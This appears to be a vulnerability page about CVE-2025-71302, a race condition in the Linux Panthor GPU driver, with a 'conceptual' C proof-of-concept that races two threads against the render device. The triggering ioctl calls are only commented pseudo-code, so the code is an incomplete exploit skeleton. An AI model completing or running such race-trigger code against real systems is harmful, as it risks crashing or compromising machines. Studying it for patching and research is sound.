CVE-2025-71302 Linux内核Panthor驱动竞争条件漏洞

/* * PoC for CVE-2025-71302 (Conceptual) * This code attempts to trigger the race condition between * drm_sched_fence_get_timeline_name and group_free_queue. * Compile with: gcc -o poc_cve2025_71302 poc_cve2025_71302.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> #define DEVICE_PATH "/dev/dri/renderD128" // Typical path, adjust as needed // Simulating the structure of the ioctl call that triggers the path // Actual IOCTL definitions would be needed from kernel headers void* trigger_timeline_name(void* arg) { int fd = *(int*)arg; // This thread continuously calls operations that lead to // drm_sched_fence_get_timeline_name while (1) { // Pseudo-code for the triggering syscall // ioctl(fd, DRM_IOCTL_PANTHOR_SUBMIT, ...); usleep(100); // Attempt to create timing window } return NULL; } void* trigger_group_free(void* arg) { int fd = *(int*)arg; // This thread triggers the cleanup path (group_free_queue) while (1) { // Pseudo-code for destroying the context/queue // ioctl(fd, DRM_IOCTL_PANTHOR_CTX_FREE, ...); usleep(150); // Slight offset to increase race probability } return NULL; } int main() { int fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } pthread_t t1, t2; printf("Starting PoC for CVE-2025-71302...\n"); pthread_create(&t1, NULL, trigger_timeline_name, &fd); pthread_create(&t2, NULL, trigger_group_free, &fd); pthread_join(t1, NULL); pthread_join(t2, NULL); close(fd); return 0; }